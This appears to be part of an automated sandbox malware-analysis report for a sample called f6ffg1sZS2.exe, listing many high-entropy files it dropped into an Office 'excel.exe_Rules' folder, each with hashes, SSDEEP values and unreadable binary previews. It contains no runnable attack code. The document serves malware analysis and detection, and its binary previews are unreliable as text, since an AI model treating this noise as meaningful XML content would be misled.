..S!...P.....`.aer(...[...........j.>...P.a.....e..v..'....Q..Y.P....>u...^."(..(..,0.[s.r9...Q.....&9m.Nm..&B...>j\7...L.!..E...R.....o.$..}IQh....v..N..E....+..^{c...+q%{.7...:....h.....,A..#....i-W...O.G.f...i.5s1.........W.O..8...9.;...Q.W..7..^.X........R._.R...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.856627808237285
Encrypted:	false
SSDEEP:	24:bcXHMXz24+1WZuOS2iwC8BpzMokUxxIePrVF0gABa4uXVTmprJE1s6rp7gCbD:bc3MS4+6sBZ8ZkUvIiYa4uFaprJRPQD
MD5:	8E244B6707A395316670A23F09B7E028
SHA1:	E559DE90B4F87D43C9830C51CC7AFBE4ADD9B15B
SHA-256:	C7F3290CDDE6CE16970BF4FE5C6010D22D9F5B36E2E29EEEC0F1874736E58CD8
SHA-512:	CD36807280A066DB075F1F6AA8217AB7136344DD61E474FAA098934441A27B980DC09ABC3F373DF3E8CBBEFC164685CD64529302A192CE10CD2E47540DBF626B
Malicious:	false
Preview:	<?xmlH.$......18v...<.2..g,.....e-.....i..v7.^..[..[M.g.KQ.............W .Z{.&k......EK.&.+....6.....W....@Z.z.Z....,,g.....n......i.%.j)..g.s.vH.Ib.h..n.\.%......[......`N.J.D._.r"...u.>.o.RqRk.]...P,.~..F....:i..V){/d...e...1....O....q...bFh..\...B..!2.S....xr{@B..DPAh.3n<.vHn........t.V9..V.p.....}.....FN9T`G.8.>...c.....d.L..\|y.....B.........i..Ql..<......Q.....B`$..9.>nx.npgju..e;R.^~.....\.........N...D..[..2.O?4MtDB.9...W..~.'..t....P.<U.)e......K..S.?...&.='..<~..t..1 .'.0\|..+.+...?.l.;9z.>...v.>>..L;...A.b....H....<.^...r..h...Q~vb..d...x..(6^.....k..5.\dj0R..p...I..C".hx.&...Q.yv.+...../.....d......8.6.}.... /.........i..5....nn.ld.3..s....h...gY..h.G...70.\|..'0-..G....>f.XU.-}Uv.....w.xr...+.........<...I...2.%.Om.&.<..?Tj........I..{...}!M.(..1.....0....F?.r..v.L..&hY......}.....Q...{.`.y.?....8.#g.!...v...G........,\....Tj......T.G.xz.x...x..N".>....jg.w...<=.r....d...O5.`V.\|..r.!..%[..d..w.m..W...A.<pp.b\|L.~\|>......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.871181511069495
Encrypted:	false
SSDEEP:	48:BcbT4reHh2s65n7eNJHoMdQ1IkqNnCeKdU4MXypD:Mc6ElxwJz3kqoeOUPXa
MD5:	820BC51476D7054DE165AB545D582364
SHA1:	A1B8703B0758E54560A26D64ECECB77ACC36E483
SHA-256:	F763E3D010CF34AA3879CD49E78A58F3CDEEEC48B7C14899E5D0243F9C0D73C0
SHA-512:	897503CF73848C2279EB0BA4F1B2D2622744639BE46BC377BD4E3F64124A5BE2DB03A7A136C766BD4C376737FA318F1B72BC29B5F2CE99F5C354378541663E23
Malicious:	false
Preview:	<?xml...N.PO%.K.n.!'..S..-4}.........^......4c..'.\/2_..n.g...E.0l.xXn.Kih."B.-.p.-Z..t.......kG.?.\|u...pj...$..4m.t4y}......~...a..?. ..j!..~....](=2.I....;....r.]J}{.Q.....k..X.j.......%.l).e....2^..Q..k~..'.j.C..p..r.UO.9..<...z.....~.R%m^.\|........{$c...n.....Xbx(..l..]..X..d6\|Q..fy`s... -0..d!..N...i...&P...tn..au......d##]..w.Sh2\|9.%N.Z.hR..K.....g......(........xm.;.0o.3.aW..7...RT.=.#Zj...u.I..8....\..8..WF.v.(....;....B.2. d.cMf.n.k.\).h..?...M...jN.......I.C.d.y. ...B....<7........-.24g..3.<L....x..K..6Y?..3.....m.2.F.....?..9...}.>....K..Q....e..;.0y.$....g.0EB.D../.~..{.........eb76.v.}.99........%..[1..m...Z).1....\|H.cl..^.q...fu.(c.........9..0.Ys.QN.J..ph.#}A=.aY"B)..\|.U...._J.}.5. ..fi?J......+z....^..:.=...c.=n........*bG....S[.p0...f.(%3PC..O..<J./.......!..)..Z g.....K~;..].....C.&.dV..KH.X.....YW..i.......hD\|N..n....P...`c<..T.Xg..}."..W<2.w7KE..2.l.v.bX.-....z^.'<.,.;....%eL.....ZLy&.5.(^.ju.......>.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.925494037986565
Encrypted:	false
SSDEEP:	48:BVu0Z3Q+A0FcKqmvAy7mzM3O5ME1N/DEumrGihs56D:BI70WLmI1g3OHnE1nhMS
MD5:	24CEC8D30FC57A5B18DE86582847C708
SHA1:	1339D1C0A0792664C5B86EF0B43E6ECB8E7B57DB
SHA-256:	2B6D9726B9CA5A890123BF6F30EF514DB656E36F435603B0A4EDED14460B8C3B
SHA-512:	1613D36DED4FD38313D4B12CA49CB123024948CECCCE07477098C6DA522C4C75C1C0A8BBCE00FE1BB6849A0DC35291775EA5A54045DDA44C1C7F8E91918F9B23
Malicious:	false
Preview:	<?xml..!.).'..m.s..bU.kOL.."(.p.%<\....T..!$..{.....'.p..s..$....;W.N...!z.3;..O..`3.Wj...6.....T..e..[...q..^...g.[s.dK#R.\|.:.`.._...E.....y4.k.i=..-..v..fS..Y..B.o.j8wg..0(..... ....R1....fF.'....5.%....B.3..yg+{C..........L...........@..;..D'%...E2e.jj.dh8.F...J'U.g.m.....<...&..F! ..X@l."..eqT.T..r...............)JzS.Y...@..p.P..a\|Tq.......R....~......sI%j.B......5a@kU^;\|.xE9.\|Kcw...X..0..JP..A!../v.-.7.t......?..T..nX..7.yXJ.3:O>...D..7U.....F.v]......v......N...&.f..R.Ydm.'o.L......y..G..8........7.._z...[./.J.:..1wU...0...Q....k..7...Y[..\|\T.Pc&o..M....vm.B...1s3q..z.Ey..O..4L..%.e.D...J..3.VX?9u...i}....`V..P....n-...p.Qd+..<..Q6r1[4T..c..$....T.A.~.>M).\|c;L....Iw..P7.g...j.mir:..%.H.E.]z..Xe..>..F.k.;A%.G.+...._#..0.W.z^`.D.[...4Z.../..3.....q.-.(..t....O9....>C..!....&.Q8...xn....BI....\|..S....0G_.).n..%u.o.$'..].NZ.I... n^^...H..(...A8...}B<'w....<.t.T...kS../.Gk..2In..3....0...fC....q......G=....Ly...5.-.......P...9.1...}.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.862625020138992
Encrypted:	false
SSDEEP:	48:Gxft6afD0l5vSRsRGnloVVsxL/IeXvNvD:K/fmS6ClMEL/VfJ
MD5:	E12696949B4D881846EA4988F5CB4D6B
SHA1:	D03BD19F16EDBBB18FD379F7F108EEB9966F3A46
SHA-256:	DA223EC6CF415890CD94740D0CA981F1383D4E502AC860B18D0DE72E0BC6E3F3
SHA-512:	C8E0874F4817A7A7F5AE191D8129D016DCF632B93869C1FEAC3F3A2CB3FE3EE24B5A142C08712195F3F6B7FC086E094BFBF3C84AFCA9721FFB055A1E3F4D6F8F
Malicious:	false
Preview:	<?xmlu.+...y).1.&..=...^6^...W.....3v'.....>g,e&&..x....`....p.../s..j.....I-.N..%.f:..$.~C.O'.....0.Ny^.$X...+o....=.N.I..k....o.da.r.......<n.....G,.a./.j.N...g.....-.G.{t.L.Ec.K..uz.D......j.v..2e$.W{..cN...4V..b..{.0.k....t..zsh..W.....c..J{......B.P+.~..m...Z...=..f..C"UQ.......#.C.....1...)M..W.......c.V.(...(.xf..%L_....H.E.....+..5y.9]...?.)x=.zE@......h.....F...X..i...`..g .H.G..t.PpV.%.S.M\|.o.m..(....,h.....=.qK...y..e.T.C6..=&.U.d\..Xw.v(.5~.6R.:.=....O.....@72w.Y.M..!.=......o..J.]...^i.q.C.-..).........]M9....$.l.w..Q...\.(\.["..... ....oZ.S.G...{T......{.7..i66E...G\|dbx.e6...q.p..@D'...N5.6>.4..0.Q..9.c"+..\|.^.f..d.O)..O.mW.kPt$A^..d.%-..{1.-.l+^...".E..u.kPg..E.E,.a..2....d^.."..Y..L.;F..8..v...d.Yb..E..G.. .................h..p..p....>.S....!ZO.'......E/4..b.QECq..&L..D....(.Tt....h.#.....Q5_-.y.qE...?/..(Wlq...M.4.ds.0J.P.r.V.E....+.".Y+.}...R..I.....h...x...x...a."..."r...*@.R...v.....yCWXZ...)..$...:.O..TV..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.904418545257666
Encrypted:	false
SSDEEP:	48:UYp2RFI+S3WDoIBX2kqvz0qZSYeRdiJsODb2eHgTfRPDsJx5D:UYpwF2gjMoWSZCsOeVB8xx
MD5:	AE4489BFDB74D8DBD24EC73705FC6559
SHA1:	D9E36763387A9D85FD34AE716F65BF60B9FCA2A9
SHA-256:	8A550D3D8F07D9A5A244FAD9BA980A61FFA9D8D455C92BBF81AF8946F5A14C44
SHA-512:	2F55D518F6676D3C21841249294BA10A8D0379D304FDFEA752B7CB47AAD7865E091A718FCEA3B697E3B2787670D7DC8EE6722A4C218CC327D4A1C3F0E63AEFC2
Malicious:	false
Preview:	<?xml._.\|.;..a..N..K..A+.~.......k.d.daO.M.V ..9...."...u]...($.."..WO\|.hN........7...Q.B..I...UH.Ky..A...3f..0....F:....yW.!pr\|1.D...d..lx;.G.i......zbB.....L.i.....e.>.6.'.......`.I.Z.....A8G[. pH.N.35.........0.}E..v..6.....:..y.W.S......"........\|.u..Kk.F..k.<.......=.>A..>f."..AF..7.Z.>:]..FY..m.m.L.`..aK.?....4..X...4..f..Ry..j_o....^.t...;.V+..d.!]...d.{. w2K....y......SA.w".........d.K..k.....`.R./.>....o....e....-......=..O..@B...l(..f...U...b6.T.:.#O.f7-h....X..\|.....(.......P"...U.....3......J\|...y.;\|."~.H..\CaP?Y".\|1A3..^.l..J..I.v^....Q..9j.A........>......[.?..\|..o.X'...5.J.a.....0..%n..Q!....c7..c+...E.[V.....Z.0.%...w..@.Z6T.#.....y/...j.+.e.....v._p.@.&..M0.F.0W.C._..z.Q.$D<k..s.P.....P...&]./.2.....!.......j.n...oy..>.d}sD.m...\PRDz..T.0......A..o.A.\n..^!.FaH..#.,A.....4a..<...].le_...4..2......[Z.y....Q.:.."...O...........YM5,....&..a..T&.ZW........T6...q-.j....x...4..2r....\...E.u.~....U%n...pI......!.r.pp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.89723948765408
Encrypted:	false
SSDEEP:	24:JXshowjjXpSZWswaMIZhGYXnYAI7jZO3aqOi5YdH4Go6UYDIDO7XVLflgMQ0UiFX:VALPEzwhIZnYD7yjY6GFDkeLfijMD
MD5:	2073C30C32557F1B9D11C70A4C85A873
SHA1:	D7D7D48CF9FAC720E4298EAECBE86C1389B8D31F
SHA-256:	30B024B86435128C608511FA2C513ED65E488431200795F0FB66F2A9311AD6E5
SHA-512:	85F3EE31D80D7A8177FE231834CBDBCC6A6EC2C0DC827A12C5F89FD473397137980AC445F3A280DC80F62799844D7B97EAA5C9FB6DE3D843BAED6F4933A4AABC
Malicious:	false
Preview:	<?xml...{...Ew\|..q.`...$.}/..4p...yf..&.Ue..q...`jZ....N....4.F.r..A...{..j.....$.....&v.-jA.A)./].].".Nh...g.\|.....P.K.u,.m....'d.1".....4...[.Q..q.zD{.. .a'..@.V.+...E.S+.L...T.:..M..on..(j;...h.0...L.G...bc<.....g..3F.2.+..N.tC%%.P8v$...5.d..Atfb@......nit$.1......H.@........&......U@.T.H...V4.\.`.hb.s....x..a....?.......(v\|z"...h.-..Q...n".K-O(M..........."o..7..9h.C...=...\|tV..`s.q....9...ok...`.JqA;j4..V..wDRe}....n.1...C......6H)l=...%.{\^.&..u....;.\..Qc..J..9.s..=....j.^xu.^.I....}j........"...V..d.^.p+7...O...o...,u...#.Q&...;r...m.q^d.N...V..".!\|R..q\|.B....Wq5..fre..b..&z&.5.5.GG.V.....yp...}...J.IK...DB".Lp.JC{...Y/i.+Jl...o.U......_.KS...,\|..}w...V........a....Em..2.z'...0!.M..k3...Z...Z.h...!...Xy>. P=.J..C"1On..k.(..#i...N.v.W.4..W.".....y.d.)..b.see......[..3.Q\.b8...`....t.q-..;.Q.....v...>\|^..g..I)b[.+.+...V..7.~o4.+..].l...~.)..3kq)N...P.{..U.....$..\...#..?.N@..ed..M.....N.bd=<2.+.GmP......E...\|2..-]....B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.842071864512213
Encrypted:	false
SSDEEP:	24:1lOT8sNF0GOdNcsouVdGsjcuPSF3t8jONgI9EvycvobD:1lOT8oV3souVdLYuEd8jqXZ1D
MD5:	184C7A4CB726D067EB2B58F0916B6D62
SHA1:	D1EC35EC46E18499DC03F5C9DA9EB779CBC0BEFF
SHA-256:	FBC99ED5EE7D8E15B56FC1F01B87DC4F16EEB6ECEB7D1CC77F6E3A91EC7028D9
SHA-512:	CB29C98A8ED2BC6C268012132B4BB48BAE4ADE49DA075EDFDCFD3F8DA0B521D95FE4E6F7560FE910307DB27AFCC88B67F3ECEFA2F0C5E0771667068B20870DA0
Malicious:	false
Preview:	<?xmlAFc..=..C...H...].7 .KH....lK).....=..K.=o..3\|..]J.7.\{.....Y.....chU\|/ScR...@..\|#!V....O5lG..<.$[...(}y.-.$X.`..d_.`....V......[...{`Cf..`..F2..t..Gw.:RJ....x!"..... ....../.....'..6...__W.HG.................{2.nb{1.`=...R.IZ.p1.W$Xn..2.V27-.r...::-O... .&.Y..G.......7!.^m-............h....zG.".........t.}....N&x.T...PhW....JS...Ru..Lj..........`8:T.6...f.....<. n..(a....>..D....vO.W2.1Oy.l?.U.V....C.d.^.A<.C.+.~..L.'y'^.0T....:.$.7....t...$(......j.........~2]..y...Q...v.\..]d...9......]q..Y.....F.A...2.p.l.Ky.........3.......e.......T.....?W...WI}..>.,hz..,js....cw9C.-....Dd...=..)ms...R..5....A.#.$..z.[hrR.%...o.[....P.G..P...."._....0.{..}..k4q.....j....F....Ug......`8..;.&.a..-T..vr.j....ts{..a..!L.Vp..a3.o....CM.......#(..E..g.=..Q...Y].>yn.,..GT..#..D..FQ.w.x.;...jH.\|..\.O...XuNI,..XQ.}}@..~.....y.,.[BW..n...\|.....9V,_.b....Sc.u'.zG.........Y.{......>..diC...;....;..D....;\|.~...=..#.Jn..)5b./..l'...c..._My...Sc.*.K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.814589088895732
Encrypted:	false
SSDEEP:	24:Q+nP67idHqkAsaFNQVNkighIpOJ6i7kBkKwSbD:F0iIINhgOQ6iwBIAD
MD5:	2DAB870775FF9A98176E9D28AE7751E3
SHA1:	0BF9E8275CEF4846FB4E66630F0661A4D8A9EF88
SHA-256:	844ECF497AE50630336733E29BE2FE8A9BE893D5A5BD95FFC57C2D6E6585E5E3
SHA-512:	B5DA0AF51E38F3EE008AB111670384479F730A2BB20B2EDDAAED4D1F2669BFE9E163307FCF2F08DDC9CF3A1EF501B5164BE6F0E5FC489CD4CC9E562237F8A161
Malicious:	false
Preview:	<?xml.U%-.`..(....$<..__\|..Hk..B..o0...f+.(..Y..+.&TA.#.RK..o.Y...4q.......?.2II...0.Q..FK}.[..R..u.cJ....,'..:...;.":........c..j....M.M..-.(.2.\G.Y.=.).....n..qb..+N......Ong.\...{.VO....M.\|....Y.B..J.c..\.]z..A.....jY...h=.....w+....q......8.....4/.....W..~......B.\|J..s...0s!../.$K8...........t..t.x.......A....y.`....2of..^.R..z..m...._....c....q.2...P./.q...........jG..<s..h.l...b..........H.G..<....;,.."......=^k...$C.H!..2..5.}SA.....D}Ab.>.^U........K.w._.S....s.6{,%v......k.Z..g...]..$.r...R.h.....&.m"Qz.'n.~........1...}...;Hr.`..e...r.;.zD..tK.S.u.Jz...B...n\...{4...L..`...b.jc.y<.58S..}....zW.[.8......F=.....T.rE..2....D.....pT.a.].Bt...;......}.=+..o.....F1f...j......i..3.x....;P...-..T..(.Z7...d...tz...ePT...h.......fv..+.>...../..7.C..v5..LG(\......G...EIb.....T..8X(.E9.....x.....R8..imn..j../..-Z.+{./zn.@a.O....*tg.\..J..N^(..]....rj.:z ..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.849999435579922
Encrypted:	false
SSDEEP:	24:FwHtJcJGH2JKTjnNRKoZBTuZG3DW74pYgXW84Uk/NrcWbD:FOcI2JKT7NRFZBTvzWUp1XW8tk/NrlD
MD5:	45F563C9F0D6079B05AE7265F42C4E00
SHA1:	CA699E0671F8CDF5E7ACBB23C5D7D622402A259A
SHA-256:	DEB6EDAF52F8202FB34273C02D66BCCFB92EAA35B7E67C3B383F81AA422EA047
SHA-512:	E760432859C6AE1941EAB330D5747A80AE00E8CBA273E53803ADC5D11200C4751485719BD670E62B3C2B749F8FDBD3483BB5BA0804014E7D93AC2AE7FD570902
Malicious:	false
Preview:	<?xml.. cM..y...w.E...N.u.++....-W:..}....N.p.3S.Y$.T...w.-5S[/'.... .\#..\[.....ad........KOH0i.Z..d......#N..~S....ij...f....I.K.,T..].A.\|&#\|..$(.op["b...o....y....EF.9...].......q.....1xu..f^... ...l.Z#.S..8./.Q.i~.0.....~~Y.s..0.g<....._...)y.F...RW(.J..M.............B\.#.....3.:...&..o..=(#...P..sSNW..(......Y......x...s...y.I.lV)a<...X....f..\|.4..T.H..E..C.i.s..l.k~...[....H.\..,.~\....T.....B..fw...W.?Eb.].)..(....!]..N.@E..H.ET....~...4n../...C.qGG...Jt........QN.\.-...~..{..].._..........`..6r.&!s5...=.%k...I.."..W%vy..G.b...^..a_.e....i....j....gz..H~..3....sR....L......=_n.~.P.#,.m...Z....l.X...l..N.}C.......t.v_.y../..}.Y@..C3. j.n.M.i.......U?.N..l.).....c.S..{...A..[2..W..C.G.X....2........}>L$.T.....\....6....Jt`..u.}..Z.....MW.....8.f6....G:..q..B../.A..e;D..w.Hs V.U..\.(Dbg16,...x.p....c....x...../.......?....+J..[...o..,m....-o..#..+..;.'j....;.J.=......>..6s}}tQ~@L.d.y.1P8....t...g.k....-.v..T..Z.X....$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.828554751067086
Encrypted:	false
SSDEEP:	24:GUnp8cGb6+h7Ws/wafDl35wD3QWhBxFwywx/jnh3evDMwlinNP/tvjbD:TpWZ/7fDlpk3/hB07n5aXOxlPD
MD5:	D0FB8E1AAE3527BA9AED1C19CB054E52
SHA1:	7727959960685DF1C26DB613C2215B859E466E9D
SHA-256:	C545B224EC805D2C11E9066E5F9F40F81E7E56782369BC5236E6748766286139
SHA-512:	E12756767641AE4C8C05C1F8AE15EF2AB71E1EC439A663655C81D9AED530546F643920B9EC897585E349979F443C109867035A2D2E12132AA6C1BBA87FFAE6C0
Malicious:	false
Preview:	<?xml.oF........P....[.H&..[l.J1...>..BJ.Y..w.fcO.Ut..h..s..vS...8C...f....^.Y.v.l.^mL8f..Nm\|...C)..u.$......y..2.e.-...y1....Qk.cJ..^.j..1...!....$...V.>.@..?.........7t7._).v...9....h.!..@....bg....X^.:.H...$dy(...b........,O.!..c.u......T.R.n..>J...G~....\|.@.G.7C_z.......3..(J0...>...h.].....~4".E..?....KW.e._..Jdx@Ex+..;..J.n.......T..xO}Z....h..X6.x....!.luH.....c..4..1t.S..F...w....w..6u..b..\...O...x....(".mW+......=.....E..]\|..X......^g<.....\|.eI.z...@>E.TW..YC4...;/t&;.j.E..Q=-..=+..0....2.Q%C?.6../[.C.....l....U,]9..............R-.).cRV..6.....k.../.z.U...9..Qg`.k...FtK1GZ.f$...5.Dk.H..PX...u.T..#R..L.8._..=y..Kn...Q..F..!.n.J.\|.{.z.^..a/.y5.n.S..)...j,..9.Ie...A...O...c..V......%...Y....vaE.... .,.Fd.A........tb.\|b.T....Lk..4/x....<D..1...".3.a>.d..T...\...Qj..h.(%.-.T..G...e..l.2....:.....)..=.O:.^Ow$.1...Y.....k.L"...5@W.L..I.....5<....2..7.. \|..i2.G....[...v.+...O.6..4E.E.g....GcP....[.....`[..p9JE..'...6......:U.q\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.872962450124427
Encrypted:	false
SSDEEP:	48:IyhpAEfWr/s/3c99WDou+FDG1XnNFBZbD:dhrfyk/3c99CoPxCbBl
MD5:	46088F94E2C2817D7CF337EA20EB418C
SHA1:	E714FE11A4AEB77FE9A0EF07703C12B84EC507A9
SHA-256:	C90FBC0C6A02376161E795D41EAD00EA635BDD76381844E858BFE05CFDE515D7
SHA-512:	622E645F2002514A282AC91201348A26CADDD6552712B0928B945261A0378C86A8F7E0A59CB9AB4B16E7DAA20A2C9404ECE7A3CABDDFF1BF82E80E7287FC6904
Malicious:	false
Preview:	<?xml.o.^+..B+,.>.z..........T.R..!aW....Oo........>.Z.'....v...6...Vi.P.......}..MZ.-a>.I...A...T.v0.....D....x..^..E..G.g'.;...W...4....a.S.KB.)..F..@./S1../.p...Qz.;.;..0~...\|..`n.!K.x...E...._.z...>Bt.)..kY...[...W..3#............"....-pX:...,.i,A.....z.\|KtRc...1......a..\......- `_8.<...M...k{.sxA.......H...M.. ;..:..4.....W.B[S.~.....9.....Q. c...N.G_..7n..>...'.r..q....G.^...p..#..T]..?a1.K..E....~:.)....1K.f.}.h.L'=..=......N..-D.}N......Z.h..=.d.s(T..$..;E....ku.....6.Y...7$w.....B...p2p_B.B...........g&.K..U,.2<9`.1..V../N..b..z..A.....}.....N.W..NU7f.\.Ewl.....j.R\...RjM6.k$.4..c...L.......K....2..Kf.V.TU.D.)..f.....d..C......7S.........1m.1..../y.Z...?..\d...%.F.....h....,........1+.....j...6t7.y..F.d...t.!.y.S.q.EAA..8:.7..l.<C%.F..S.`.......l.......%4h.6@..V...@.z...&...).?.1...d6d.Rf...\|~...V...&...^..0::$.\|......*j..q.M.........$....1.."...$I......6V."f..n.15..6...^.X....2^.1 .>.".t..J.j(.,...?..wC.&...z.y<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.849034982543481
Encrypted:	false
SSDEEP:	24:vUwXz7Y80qhtaBcWO6YluGTkAOliF79xCLrPv52ABXhKof0CPYd9rCbD:jj7f0qhYGWNY0kJOliF2vX5RBXhYCgdi
MD5:	AD6533CF9C58FB44DABFDAE14702CB26
SHA1:	E4981A3594802CC6C0DC997573D9BA5EA9379C18
SHA-256:	391E5BFD50AD49851FA4F6F43256AFD4EA8A4E38715162A98EDD6102D95697BD
SHA-512:	A24DDBFE9ABBB6EADA228F97BA5A0F39A8C248B022F24C6E39256A52352874CB9B844D3EDCF0D9A09816024B5DCFF13F55140B15EA911388DBAFAA78A0B1CBDB
Malicious:	false
Preview:	<?xml.3.._..e./.s..=8....>.......x..m$\|..ri.....m6.b/......=m.-.......<.=............$.....zZ...Qf@t.\|z..dG..s..Y..#.p..6.............Q..7.x<..".t..X.L{....O5?fu..`.d.Y}....Z.. ......hF....9.._.]...a...g=....D.....\.Q).QX.I&..%....)....'.W...A.M7.....W..V....u....Q..-......R.'.NU..HW.w8...Hd7.e.>..#p.s/.;..J)..i... -.C...MW..bW-...Z.Nj...@H.)...Z..`....U...E.....\|z...#.....Ud..g.i........R.j.T...P2;.m.`....#.A.{.1k.t.r..0YJ..K._..].......w.!2.z.ZR(...&.F.yR.`.q........]..H2Y.t...m......$@W........d'.i..........y.../.D.....].s.-..c.......O.T..c..&..r.E.\g..4..L....9.#!..3../.......Jk..[.(..Z.T.."...#..bjV.-...].. .c..2.......Xl.$>.....xo9...9\|.{..u.\|...F...by`:.=...J.?.~..j.1.#.....S}.\.....]...I.{...D.x.....J}.2....t....4H.7...=L...[.p..1=...q.\|..*....x6.?.0..Z.yI........%.o.v....`..T....F.`.(.}21.Nu^.?....r..0S..Q.MhF..).8!.'O.6..?.a..aL.....ke.Movr....lZ...h.aJ..0....v..p"......6.!....RB..........k..c1..g9BCdj.{@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.8930906553596785
Encrypted:	false
SSDEEP:	48:JdAQLVPIyryWGLc+cjD1R5dixGOkkJdCAdID:AQdI4yrLjcfxYokJsAdU
MD5:	7FCC7CC68F1D09FA93EA0695BC9EED7A
SHA1:	ECB908F35F1D305536802BF2AE2A893B0CBC7F0B
SHA-256:	2733FB77E1303EEDE677FBDC99D542FAD3901BB0CE0819B4346E8C3BB0EF1EB8
SHA-512:	EEF3F349F8D76CAC27F68FFB74498138079D82364B114990AFBCD10B7B113E7117DD33A766DB3B94E8BBE718FBD11D78D7E920475618C6E4B7A4E4ECD9E1A04A
Malicious:	false
Preview:	<?xml.....p.......Lx.........M...n....5D....1_...S.86/...X.}............C6.a ~......p...d._.Rf.u....8.]..TeS...0.w.j...r>N.!).?X..e....v6k.W.}.hH..%t..=..7.b@...<'RbQ..k............<....k+yB.G/....e...e!8 [..W.P..a6W.0.qZ"P..e... ....@.Q......}...;9.@.g".-.,..w...S..0...V.......;g;yS3.....$..{......h.G.......j....)...+.cMJ}..p...R....(..<.....}+%[}........9u..4.F.p...z1;XT`....C.l..[I...L..6Q..'DRC<..{h....&..,~.Z.0g.[1d.+..]E...i..........]....7..r...% ....l....!..^..cL....V.4I..2....Ro....f....L.......'.-..x..l..c]./U..FL(.....H.%WA&e\|Bt`GN...qJ.a.p....;B.h.M.B]..dR.a..GMdo.....B.. ..4.......Iw.~..S.GX..l../#S@O....j'@.H./.8.B..c.#0...\~....fn.....K-.D%..p...c.V...:...)..r@3.6...~U.+mC$"#a..K.].....C.(.pH....B>..P.&.G.3:<.AE.oV...@+.....3<.J...b...c......1...(..0..\|.^{....=VQ......T...........R...k.\..O.....4.QI;...P.WVx..0.*....d..0....2..9 . =..I.P..e._.1.....x....^.B$~N....a..p...Fd@..G~-..?wv...A..v.B..%.;[..z.E.I..gY..h.j.j...j.[.#}%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.869373116840557
Encrypted:	false
SSDEEP:	24:vTGNeqY2Gr+f4l/sc9RRWL1+nTlXQpD69rTLLPuu2t97gBdc3Moq40KyRYOhCMYP:rQHG5NaETqurT3uu2ttgw3B0KyOIrOD
MD5:	3726EAD49A53887DAD69E5F43DECEF84
SHA1:	A500301B1E564A79F71C8913F963393D745D74DA
SHA-256:	484A762B5E9B9155F9B66BE4BDFE926E20E427D1E2D18437EE3AF4301EFA8AA2
SHA-512:	A13E4BA20421C7E13F98EAE0524D14D67362CA7E723CE573F0140D4F5D9B5C9256D427355655A6366723109A815D9DEFCB7F9B335F6F893E027D42B446ECDD5A
Malicious:	false
